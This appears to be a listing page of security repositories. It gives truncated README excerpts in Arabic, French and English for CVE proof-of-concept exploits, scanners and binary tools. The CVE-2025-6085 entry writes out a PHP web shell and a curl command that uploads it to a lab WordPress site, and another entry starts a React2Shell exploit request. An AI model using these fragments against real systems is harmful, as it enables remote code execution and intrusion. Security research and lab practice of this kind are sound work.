React2Shell-Kingdom

مشروع عرض ثغرة React CVE-2025-55182 ⚠️ تحذير أمني يعرض هذا المشروع ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE CVE-2025-55182 / React2Shell في React Server Components 19.1.1. لأغراض التعليم والبحث الأمني فقط لا تقم أبدًا بالنشر في بيئة الإنتاج أو التعرض لشبكات غير موثوقة شغّل فقط في بيئات...

CVE-2023-50164-HTB-strutted

CVE-2023-50164: تم اكتشاف ثغرة أمنية حرجة، تُعرف باسم CVE-2023-50164 CVE: 9.8، في Apache Struts، مما يسمح للمهاجمين بالتلاعب بمعاملات رفع الملفات، وهو ما قد يؤدي إلى اجتياز المسار غير المصرح به وتنفيذ التعليمات البرمجية عن بُعد RCE. وهي مخصصة فقط للاستخدام التعليمي، أو في مسابقات CTF، أو في بيئات...

cave_miner

CAVE MINER هذه الأداة تبحث عن كهوف الكود في الملفات الثنائية Elf, Mach-o, Pe، وتحقن الكود فيها. التثبيت pip install cave-miner الاستخدام مثال...

DocViewerExploitApp

DocViewerExploit App - CVE-2021-40724 Ceci est le code source permettant d'exploiter le Document Viewer par MobileHackingLab. À propos de l'application vulnérable Il s'agit d'une application d'exploitation pour le MobileHackingLab DocumentViewer Abdroid App Dynamic Code Loading RCE challenge. Ce...

CVE-2025-14174-Poc

استغلال PoC لـ CVE-2025-14174 نظرة عامة يحتوي هذا المستودع على استغلال إثبات المفهوم PoC كامل الوظائف لـ CVE-2025-14174 يُتتبع أيضًا باسم EUVD-2025-203113، وهو ثغرة أمنية خطيرة في تلف الذاكرة في محرك الرسوميات ANGLE. ينشأ الخلل من تقييد غير صحيح للعمليات داخل حدود مخزن الذاكرة CWE-119، مما يتيح...

CVE-2025-55182

Scanner CVE-2025-55182 Ce dépôt contient un outil de scan pour CVE-2025-55182 RCE et CVE-2025-55183 Divulgation de code source dans les composants serveur React RSC de Next.js. ⚠️ Avertissement Cet outil est destiné uniquement à des fins éducatives et de tests autorisés. N'utilisez pas cet outil...

CVE-2025-6220

Ultimate Addons for Contact Form 7 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0...

CVE-2025-6085

موصل Make shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ استغلال الصدفة بمجرد وجودها في...

CVE-2020-0796

CVE-2020-0796 ثغرة RCE في SMBv3 في SMBv3 نظام windows 10 معرض للخطر Windows 2008 غير معرض للخطر سكريبت الفحص...

CVE-2026-54806

PoC – Injection d'objets PHP dans WP Activity Log CVE-2026-54806 📜 Description CVE-2026-54806 est une vulnérabilité critique CVSS 9.8 d'injection d'objets PHP non authentifiée dans le plugin WordPress WP Activity Log wp-security-audit-log de Melapress. Un attaquant non authentifié peut injecter d...

CVE-2025-48384

نظرة عامة على CVE-2025-48384 CVE-2025-48384 هي ثغرة أمنية خطيرة في Git، نظام التحكم في الإصدارات الموزعة واسع الاستخدام. تتضمن معالجة غير سليمة لأحرف الإرجاع CR في قيم التهيئة، مما قد يؤدي إلى مشكلات في اجتياز المسار أثناء عمليات سحب الوحدات الفرعية. يسمح هذا الخلل بتطبيق تعليمات برمجية عشوائية...

codetotal

CodeTotal CodeTotal يحلل أي مقتطف أو ملف أو مستودع للكشف عن ثغرات أمنية محتملة مثل سر في الكود ، ثغرة برمجية مفتوحة المصدر ، أمان الكود ، ثغرة ، بنية تحتية غير آمنة ككود ، و مشكلات قانونية محتملة مع تراخيص المصادر المفتوحة. لمعرفة كيفية استخدام CodeTotal، يرجى قراءة الوثائق عبر الإنترنت : فحص...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server العب مع react2shell في بيئة آمنة! البداية السريعة استنسخ المستودع git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server شغّل ملف docker docker compose up --build -d PoC curl -s -X POST http://localhost:3000/adfa \ -H...

CVE-2020-23839

CVE-2020-23839 | GetSimple CMS v3.3.16 - XSS المنعكسة إلى RCE مؤلف الاستغلال: Bobby Cooke boku إحصائيات الثغرة OWASP Top Ten 2017: A7:2017-البرمجة النصية عبر المواقع XSS CWE-79: تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب 'البرمجة النصية عبر المواقع' - النوع 1: XSS المنعكسة درجة CVSS الأساسية:...

CVE-2019-0232

CVE-2019-0232 تحليل الثغرة وإثبات المفهوم PoC لـ Apache Tomcat - CGIServlet enableCmdLineArguments لتنفيذ الأكواد عن بُعد RCE فيديو الإثبات المفاهيمي PoC متاح على https://www.youtube.com/watch?v=RA7kzuHOWqA التفاصيل يحتوي Apache Tomcat على ثغرة أمنية في CGI Servlet، والتي يمكن استغلالها لتحقيق...

cve-2022-42889-text4shell-docker

Installer maven - maven-linux 1. Installation de Maven pour créer le fat jar mvn clean install 2. Construction de l'image Docker docker build --tag=text4shell . 3. Exécution du conteneur Docker docker run -p 80:8080 text4shell 4. Test de l'application http://localhost/text4shell/attack?search= 5...

FreePBX-SQLi-RCE

FreePBX CVE-2025-57819 - SQLi non authentifiée vers RCE PoC Recherche éducative et de sécurité uniquement - Voir la mention légale ci-dessous Preuve de concept d'exploitation pour CVE-2025-57819, une vulnérabilité critique d'injection SQL non authentifiée dans FreePBX permettant l'exécution de co...

Krakatau

Krakatau fournit un assembleur et un désassembleur pour le bytecode Java, ce qui vous permet de convertir des fichiers de classe binaires en un format texte lisible par l'homme, d'effectuer des modifications, puis de les reconvertir en fichier classe, même pour du code obfusqué. Vous pouvez...

bfac

BFAC Advanced Backup-File Artifacts Testing for Web-Applications BFAC Backup File Artifacts Checker is an automated tool that checks for backup artifacts that may disclose the web-application's source code. The artifacts can also lead to leakage of sensitive information, such as passwords,...

bfac

BFAC اختبار متقدم لملفات النسخ الاحتياطي الخلفية لتطبيقات الويب BFAC Backup File Artifacts Checker هي أداة آلية تتحقق من ملفات النسخ الاحتياطي التي قد تكشف عن كود المصدر لتطبيق الويب. يمكن أن تؤدي هذه الملفات أيضًا إلى تسرب معلومات حساسة، مثل كلمات المرور، وهيكل الدليل، إلخ. هدف BFAC هو أن تكون...